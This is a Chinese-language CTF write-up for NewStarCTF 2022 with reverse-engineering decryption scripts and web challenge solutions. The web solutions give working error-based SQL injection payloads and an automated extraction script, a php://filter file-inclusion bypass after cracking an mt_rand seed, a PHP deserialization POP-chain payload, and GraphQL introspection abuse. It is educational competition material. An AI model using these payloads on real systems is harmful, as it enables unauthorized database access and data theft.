NewStarCTF 公开赛 2022 RE WP

阅读原文时间：2023年07月08日阅读：13

Re

前可见古人，后得见来者

chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43,
           0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x50, 0x43, 0x53, 0x7D, 0x47,
           0x50, 0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x4E, 0x40, 0x4A, 0x5F, ]

flag = ''
for i in range(len(chipher)):
    temp = chr(chipher[i] ^ 0x22)

    if temp.islower():
        flag += chr((ord(temp) - 97 - 13 + 26) % 26 + 97)
    elif temp.isupper():
        flag += chr((ord(temp) - 65 - 13 + 26) % 26 + 65)
    else:
        flag += temp

print(flag)

flag{begin_and_end_re_and_you}

/*********TlsCallback_0_0/

TLS回调函数以及反调试简单使用 - 2f28 - 博客园 (cnblogs.com)

这里的线程回调函数，将偏移值3 变成了 iv+=10,即变成了13

(171条消息) TLS callback_xkdlzy的博客-CSDN博客

FindME

# 小端序 存储
__int64 sub_19B6()
{
  int i; // [rsp+8h] [rbp-8h]
  int j; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 31; i += 4 )
  {
    for ( j = 0; j <= 3; ++j )
      *((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);
  }
  return sub_19A1();
}

#xor
__int64 sub_192E()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
    *((_DWORD *)s + i) ^= 0x2022u;
  return sub_1919();
}

# 移位
__int64 sub_151D()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
    *((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;
  return sub_1508();
}

# 密文
__int64 sub_1253()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
  {
    if ( *((_DWORD *)s + i) != dword_5020[i] )
    {
      dword_5040 = 0;
      return sub_123E();
    }
  }
  return sub_123E();
}

解密py

chipher = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

for i in range(8):
    temp=(chipher[i]&0xffff8000|(chipher[i]&0x00007fff^chipher[i]>>17)) # 直接逆
    temp^=0x2022
    for k in range(4):
        print(chr(temp>>(k*8)&0xff),end='')

flag{D0nt_let_time_bo_so_cheap!}

Petals

去除花之恋

去花后的核心加密函数

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
  int i; // [rsp+18h] [rbp-118h]
  unsigned int j; // [rsp+1Ch] [rbp-114h]
  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, 256);
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v5 + i) = ~(i ^ a2);
  for ( j = 0; a2 > j; ++j )
    *(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
  return v6 - __readfsqword(0x28u);
}


import hashlib

v5 = [0] * 256

chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
           0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
           0xD2, 0x82, 0xD3, 0xDE, 0x87]

for i in range(256):
    v5[i] = (~(i ^ 25))&0xff
# print(sorted(v5))
for i in range(len(chipher)):
    print(chr(v5.index((chipher[i])%256)),end='')
print()
print(hashlib.md5('66ccff#luotianyi#b074d58a'.encode()).hexdigest())

66ccff#luotianyi#b074d58a 提交后错误！！！

就很奇怪，然后查了一下洛天依 66ccff 等的含义（无语子）

然后才发现，要MD5后提交！！！

printf("If you are succeed, the flag is flag{md5(your input)}");

笑死！！！！！【没看到，还想着misc的思路去想，，,】

flag{d780c9b2d2aa9d40010a753bc15770de}

Likemyasp

查到 Asp 壳，题目也有提示

找了几个工具都无法脱壳，只能尝试X64debug 脱壳，OD只能调试手动脱壳32 位

[X64debug 不太熟，直接硬逆，不手动脱壳]【下面程序，ida动调+断点跟进获得】

sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[16]);
  sub_7FF7D92D1140((__int64)&_guard_xfg_table_dispatch_icall_fptr[18], v10, 30i64);// scanf
  for ( i = 0; i < 24; i += 4 )
  {
    v6 = (v10[i] ^ 0xAi64) << 37;
    v5 = (v10[i + 1] ^ 0x14i64) << 23;
    v7 = (v10[i + 2] ^ 0x1Ei64) << 14;
    v3 = ~v10[i + 3];
    v8 = v3 | v7 | v5 | v6;
    v9[i / 4] = v8;
  }
  for ( j = 0; j < 6; ++j )
  {
    if ( v9[j] != qword_7FF7D92D4010[j + 5] )   // 密文比较
    {
      sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[19]);
      return sub_7FF7D92D1350((unsigned __int64)&v1 ^ v11);
    }
  }


chipher = [0xD803C1FC098, 0xE20360BC097, 0xFE02A1C00A0, 0xFA0121040CB, 0xF2032104092, 0xD6015884082]

flag = ''
for i in range(len(chipher)):
    flag += chr(chipher[i] >> 37 & 0xff ^ 0xa)
    flag += chr(chipher[i] >> 23 & 0xff ^ 0x14)
    flag += chr(chipher[i] >> 14 & 0xff ^ 0x1e)
    flag += chr(~(chipher[i])& 0xff)
print(flag)

flag{x1hu@n_w0_4sp_ma??}

ur_so_naive

0x01 程序分析

导出 libencry.so 分析加密流程

分析知道，获得四位密钥，即可解密程序

v7 = 0;
  v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);
  v9 = (unsigned __int8 *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);// v9 应该是密钥
  v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)a1 + 704))(a1, a4);
  if ( a4 )
  {
    do
    {
      v11 = (_BYTE *)v8;
      v12 = (*(unsigned __int8 *)(v8 + v7) >> 1) | (*(unsigned __int8 *)(v8 + v7) << 7);// 分别移位  1|7 2|6 3|5 4|4
      *(_BYTE *)(v8 + v7) = v12;
      v13 = ((unsigned __int8)(v12 ^ *v9) >> 2) | ((v12 ^ *v9) << 6);
      *(_BYTE *)(v8 + v7) = v13;
      v14 = ((unsigned __int8)(v13 ^ v9[1]) >> 3) | (32 * (v13 ^ v9[1]));
      *(_BYTE *)(v8 + v7) = v14;
      v15 = ((unsigned __int8)(v14 ^ v9[2]) >> 4) | (16 * (v14 ^ v9[2]));
      *(_BYTE *)(v8 + v7) = v15;
      v16 = v15 ^ v9[3];
      v17 = v7 + 1;
      if ( v7 - a4 != -1 )
        v11 = (_BYTE *)(v8 + v17);
      *(_BYTE *)(v8 + v7) = v16;
      *(_BYTE *)(v8 + v7++) = v16 ^ *v11;
    }
    while ( v17 != a4 );
  }
  (*(void (__fastcall **)(int, int, _DWORD, int, int))(*(_DWORD *)a1 + 832))(a1, v10, 0, a4, v8);
  return v10;
}

解密py

# 爆破
import hashlib
import itertools

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

# key=[0x7f080058,0x7f08009d,0x7f080180]  # 猜测密钥

# 爆破密钥
modle = list(itertools.product(
    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'], repeat=4))

# key = [0x80, 0x01, 0x08, 0x7f]
flag = ''
j=-1
while True:
    j+=1
    str = ''.join(modle[j])
    key=[ord(str[w]) for w in range(len(str))]
    for i in range(len(chipher) - 1, -1, -1):
        for k in range(30, 128):
            temp = (k >> 1) | (k << 7)
            temp = (temp ^ key[0] >> 2) | (temp ^ key[0] << 6)
            temp = (temp ^ key[1] >> 3) | (temp ^ key[1] << 5)
            temp = (temp ^ key[2] >> 4) | (temp ^ key[2] << 4)
            temp = temp ^ key[3]

            if i == len(chipher)-1:
                temp1=k
            else:
                temp1=chipher[i-1]

            if chipher[i]==temp1^temp:
                flag+=chr(k)
                break
    if len(flag) ==len(chipher):
        break

    print('key:', str)
    flag=''

print(flag)

# 显然，复杂度太高，放弃爆破。

0x02 动态调试 .so 文件

名称地址

Java_com_new_1star_1ctf_u_1naive_MainActivity_encry LOAD:Java_com_new_1star_1ctf_u_1naive_MainActivity_encry

ida 动态调试时，出现

[求助]ida出现FFFFFFFF: got SIGILL signal (Illegal instruction) - 『移动安全讨论求助区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

(171条消息) 171025 逆向-安卓脱壳（补充实验）_奈沙夜影的博客-CSDN博客

模拟器为x86架构，而导出的.so程序是ARM架构的原因，只能附加真机,也就是手机和ida 配合起来远程调试

[(171条消息) mobile]真机+IDA调试apk中的so_breezeO_o的博客-CSDN博客

【但是这里比较麻烦，真机调试的话，手机需要root权限等好多限制】

再回到jeb,找到导出.so 文件的位置。有新发现，之前导出的是arm的，无法配合模拟器断点调试.so文件【第一次导出的时候没注意】

那么重新导出X86架构的.so文件，就可以动态调试了，嗨，好多小时才搞定这个，直接麻了，但终于搞定了，舒爽。【这里是结合夜游安卓模拟器+ida附加调试】

动态调试获得 密钥 FALL，获得flag。

附上夜游安卓模拟器+ida附加调试方法：

【nox_adb.exe 时模拟器自带的，可以直接相应目录下使用，也可设置到环境变量中(具体不在赘述)】

【adb【Android 调试桥】介绍Android 调试桥 (adb) | Android 开发者 | Android Developers (google.cn)】

nox_adb devices  # 查看端口
nox_adb.exe connect 127.0.0.1:62001
adb push F:\CTF_\ctf_tool\Re_tool\ida_pro\IDA_7.7_chinese\dbgsrv\android_x86_server  /data/local/tmp        （IDA的dbgsrv目录下有很多版本，根据要动态调试的.so文件架构类                               型，上传，如这里的是android_x86_server，可以成功运行）
【/data/local/tmp/android_server（这个目录其实可以随便放，可以绕过有的程序的反调试，】

adb shell
cd /data/local/tmp
chmod 777 android_x86_server
./android_x86_server
再开一个cmd, 设置端口转发 【将PC端的23946端口收到的数据，转发给到手机(模拟器)中23946端口。】
adb forward tcp:23946 tcp:23946

如此就可愉快的使用 ida 开始附加调试了！

0x03 解密py

下图，是动态调试后发现的一个小细节。静态分析时，我没有注意到！

最后一次处理时，data xor enc[0]

#encoding=utf-8
import hashlib

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

key =[0x46,0x41,0x4c,0x4c]  # FALL
flag = [0]*24
for i in range(len(chipher) - 1, -1, -1):
    for k in range(30, 128):
        temp = ((k >> 1) | (k << 7))&0xff
        temp = (((temp ^ key[0]) >> 2) | ((temp ^ key[0]) << 6))&0xff
        temp = (((temp ^ key[1]) >> 3) | ((temp ^ key[1]) << 5))&0xff
        temp = (((temp ^ key[2]) >> 4) | ((temp ^ key[2]) << 4))&0xff
        temp = temp ^ key[3]

        if i == len(chipher) - 1:
            temp1 = chipher[0]
        else:
            temp1 = flag[i+1]  # 因为最后一位，xor 第零位，其他处理 xor 后一位，那么以最后一位为突破口，求出flag

        if chipher[i] == temp1 ^ temp:
            flag [i]= k
            break
        # print('第', i, '位 :', k)
print(flag)
for i in range(len(flag)):
    print(chr(flag[i]),end='')

flag{n@1ve_luv_2you#ouo}

Web

Word-For-You(2 Gen)

hint:

哇哇哇，我把查询界面改了，现在你们不能从数据库中拿到东西了吧哈哈（不过为了调试的代码似乎忘记删除了

0x01 程序注入分析

xss :

</h><script>alter();</script><h>  # 直接过滤了

sql 注入

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1    

    # haha' or 1=1 #
    好耶！查询成功
    # haha' order by 5 #   猜测出 2 列
    Unknown column '5' in 'order clause'
    # haha' union select 1,2 #
    The used SELECT statements have a different number of columns

显然可以通过报错注入，得到flag

# all db
haha' and extractvalue(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata limit 0,1),30,30),0x7e))#
XPATH syntax error: '~information_schema,mysql,performance_schema,wfy'
数据库很长

# 数据库 wfy
haha' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# XPATH syntax error: '~wfy~'  

# 表名 wfy_admin,wfy_comments,wfy_info
haha' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e))#
XPATH syntax error: '~wfy_admin,wfy_comments,wfy_info'   

# 列名 wfy_admin:Id,username,password,cookie
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_admin' limit 0,1),0x7e))#
XPATH syntax error: '~Id,username,password,cookie~'

# wfy_comments:id,text,user,name,display
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_comments' limit 0,1),0x7e))#
XPATH syntax error: '~id,text,user,name,display~'

#
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_info' limit 0,1),0x7e))#
# 空

# 数据
haha' and extractvalue(1,concat(0x7e,(select * from (select user from wfy_comments limit 0,1) as a),0x7e))#

haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#

0x02 解密py

现在，已经知道数据库名，表名，列名。但是由于每次只能获得一条数据，且报错输出长度有限制。那么现在尝试，逐条报错注入获取flag.

import requests
import re

url = 'http://3527aa75-03ba-4f2d-9fef-aff78f745f6d.node4.buuoj.cn:81/comments.php'
result = ''
data = {
    "name": "haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#"
}

headers = {
    "Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"
}
# response = requests.get(url=url, params=data,headers=headers)
# print(response.text)

for i in range(200):
    data['name'] = "haha' and extractvalue(1,concat(0x7e,(select * from (select text from wfy_comments limit {0},1) as a),0x7e))#".format(i)

    response = requests.get(url=url, params=data, headers=headers)

    match = re.findall(r'error\: \'~(.*?)~\'', response.text)  # flag{Ju4t_m2ke_some_err0rs}
    print(match)

在 wtf wfy_comments text 成功得到 flag

flag{Ju4t_m2ke_some_err0rs}

IncludeOne

hint:

文件包含漏洞系列第一题，也不知道是不是真的随机？ 出题人丢给你了一个工具：https://www.openwall.com/php_mt_seed/

0x01 程序分析

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

(171条消息) CTF_Web：php伪随机数mt_rand()函数+php_mt_seed工具使用_星辰照耀你我的博客-CSDN博客_php rand 伪随机

在php中每一次调用mt_rand()函数，都会检查一下系统有没有播种。（播种为mt_srand()函数完成），当随机种子生成后，后面生成的随机数都会根据这个随机种子生成。所以同一个种子下，随机数的序列是相同的，这就是漏洞点。

那么我们可以通过，种子生成的随机数来爆破，种子。那么就可以得到我们想要的序列。

(172条消息) php_mt_seed - PHP mt_rand() 随机数种子破解使用_like4h的博客-CSDN博客_php_mt_seed 安装

借助题目给的工具。

└─# time ./php_mt_seed  1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3988.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 40.7 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 52.3 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 52.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 53.3 Mseeds/s
Found 8

0x02 爆破种子

不知道，题目所用php版本，就都尝试一下PHP Sandbox - Execute PHP code online through your browser (onlinephp.io)

<?php
mt_srand(1145146);
echo mt_rand()."\n";
echo mt_rand();

//1219893521  1145146
//1202031004    # 正确


POST / HTTP/1.1
Host: 073b1ab1-50eb-4bfa-95de-17a27cfc39be.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close

guess=1202031004

guess=1202031004

0x03 绕过正则

if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
# 过滤 base 或 ..  (| 或 \.\. 转义. 防止目录穿越)
编码绕过
.   =>  %2e
/   =>  %2f
% => %25  (双重URL编码)

http://6d0e7775-ad5d-413a-8a66-37fbb2ef74d4.node4.buuoj.cn:81/flag.php  # 可以访问，但没显示。显然flag.php在当前目录

显然是filter伪协议读取，但怎么绕过

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php    base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

(172条消息) 伪协议filter_php://filter在一次CTF中base被过滤的利用_小明斗的博客-CSDN博客

改为

php://filter/read=string.toupper|string.rot13/resource=NewStar/../../../../../flag.php

===> %252e%252e # 双重编码【获取失败】

如下，NewStar位置应该置于filter后，不影响语句功能,然后保证file中出现NewStar。

php://filter/NewStar/string.rot13/resource=flag.php

得到 rot13

<!--?cuc //synt{66qqr83p-o1qo-4338-nq7r-32r9o986632q}
-->

rot13 解码得到flag

flag{66dde83c-b1db-4338-ad7e-32e9b986632d}

UnserializeOne

0x01 pop 链分析

PHP反序列化研究 - 知乎 (zhihu.com)

(172条消息) CTF之萌新反序列化学习_bmth666的博客-CSDN博客_ctf 反序列化

参考后，构建pop 链

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()  //2. 将name设置为Sec类，触发__toString()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var) //6.将类名当作函数使用，触发__invoke()，得到flag
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString() //3.调用一个不可访问方法时调用$this->obj->check，__call 会被调用。同时这里的 $this->var 构建pop链时有用到。
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)  //4.使用 clone 关键字拷贝完成一个对象后，新对象会自动调用定义的魔术方法 __clone()
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()      //5.对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);  // 1. 反序列化，触发__destruct()析构函数
}

如上所示pop 链分析清楚了。

0x02 构造反序列化数据

<?php

class Start{
    public $name;//='Sec';
    protected $func;//='Sec';

    function __construct(){
        $this->name=new Sec();
        $this->func=new Sec();
    }

class Sec{
    private $obj; //='Easy';
    public $var;

    function __construct(){
        // $this->var=new eeee();  $var 有传递作用，要直接赋值，将属性改为public
        $this->obj=new Easy();
    }
}

class Easy{
    public $cla;//='eeee';
}

class eeee{
    public $obj;//='Start';
}

$Sta=new Start();
$ee=new eeee();

$ee->obj=$Sta;
$Se=new Sec();
$Se->var=$ee;

$Sta->name=$Se;

echo urlencode(serialize($ee));

O%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3Br%3A1%3B%7Ds%3A7%3A%22%00%2A%00func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BN%3B%7D%7D%7D

最终得到flag:

flag{87fbd8ce-bc28-463c-9588-b207042b878e} Welcome to NewStarCTF, CTFers

ezAPI

0x01 题目分析

查阅 DEBUG: object(stdClass)#1 (1) { ["users_user_by_pk"]=> NULL }

php中stdClass的用法详解-php教程-PHP中文网

相关信息没什么进展，然后尝试目录扫描，看有无收获。

在使用 WebPathBurp 扫描目录【用自带的字典来跑】时发现 WWW.zip 备份文件。获得源码！

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { //只能输入数字
        return False;
    } else {
        return True;
    }
}

function send($data)
{
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type: application/json',
            'content' => $data,
            'timeout' => 10 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if (isset($id)) {
    if (waf($id)) {         // $data 是可控的
        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
        $res = json_decode(send($data));
        if ($res->data->users_user_by_pk->name !== NULL) {
            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
        } else {
            echo "<b>Can't found it!</b><br><br>DEBUG: ";
            var_dump($res->data);
        }
    } else {
        die("<b>Hacker! Only Number!</b>");
    }
} else {
    die("<b>No Data?</b>");
}
?>


$data = {"query":"query{\nusers_user_by_pk(id:flag) {\nname\n}\n}\n", "variables":null}

POST 方式提交的data数据是可控的！

发送到 $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

// graphql

0x02 graphql 数据查询

GraphQL-接口查询利器 - 知乎 (zhihu.com)

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

(172条消息) 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入

id=3&data = {"query":"query{\nusers_user_by_pk(id:3) {\nname\n}\n}\n", "variables":admin}

id =3 对应 admin

data={"query":"query{\nusers_user_by_pk(id:3) {\nname,\n}\n}\n", "variables":null}&id=4

id =4 对应 admin 显然参数可控了。那么就是查询数据库的内容了


# 查看存在的class
data={"query":"{  __schema {types {name}}}"}&id=4


# 最终发现大佬博客中，存下如下payload,可以得到Graphql 所有字段

data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}&id=4

//data={"query":"{  __schema {types {name}}}"}&id=4

查询到所有信息【该API端点的所有信息】

存于 info_Graphsql_.txt, 内容太多，这里就不贴上了

得到关键类信息，但怎么利用查询呢!

// flag 位于 ffffllllaaagggg_1n_h3r3.flag 表 

      [13]=>
      object(stdClass)#181 (8) {
        ["kind"]=>
        string(6) "OBJECT"
        ["name"]=>
        string(28) "ffffllllaaagggg_1n_h3r3_flag"
        ["description"]=>
        string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""
        ["fields"]=>
        array(1) {
          [0]=>
          object(stdClass)#182 (6) {
            ["name"]=>
            string(4) "flag"
            ["description"]=>
            NULL
            ["args"]=>
            array(0) {
            }
            ["type"]=>
            object(stdClass)#183 (3) {
              ["kind"]=>
              string(8) "NON_NULL"
              ["name"]=>
              NULL
              ["ofType"]=>
              object(stdClass)#184 (3) {
                ["kind"]=>
                string(6) "SCALAR"
                ["name"]=>
                string(6) "String"
                ["ofType"]=>
                NULL
              }
            }
            ["isDeprecated"]=>
            bool(false)
            ["deprecationReason"]=>
            NULL
          }
        }
        ["inputFields"]=>
        NULL
        ["interfaces"]=>
        array(0) {
        }
        ["enumValues"]=>
        NULL
        ["possibleTypes"]=>
        NULL
      }

# 如上 flag 就位于 ffffllllaaagggg_1n_h3r3_flag 中

结合题目泄露的源码的查询方式，进行Graphsql 查询！

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=4

得到flag

DEBUG: object(stdClass)#2 (1) {
  ["ffffllllaaagggg_1n_h3r3_flag"]=>
  array(1) {
    [0]=>
    object(stdClass)#1 (1) {
      ["flag"]=>
      string(42) "flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}"
    }
  }
}

flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

Re

Zzzzzz3333

直接 z3 求解key,即可得到flag

import base64
from z3 import *

Arglist=[]
for i in range(8):
    Arglist.append(Int(str(i)))

s = Solver()

v13 = Arglist[5]
v11 = Arglist[4]
v9 = Arglist[1]
v12 = Arglist[3]
v8 = Arglist[7]
v10 = Arglist[0]

s.add(Arglist[3]
     + 4 * Arglist[2]
     + Arglist[7]
     + 4 * (Arglist[3] + 4 * Arglist[2])
     + 3 * (Arglist[4] + 4 * Arglist[0])
     + 2 * (Arglist[5] + 4 * Arglist[6])
     + 11 * Arglist[1] == 6426)

s.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)
s.add(5 * v9
     + 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)
s.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)
s.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)
s.add(19 * v12
     + 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8))
     + 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)
s.add(7 * v10 + 17 * (v12 + v9*2) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)
s.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9*2 + 43 * v10 + 21 * v13 == 11646)

print (s.check())
m = s.model()
print (m)

flag_ = ""
for i in Arglist:
    flag_ += chr(int(str(m[i])))

print(flag_)   # key= fallw1nd

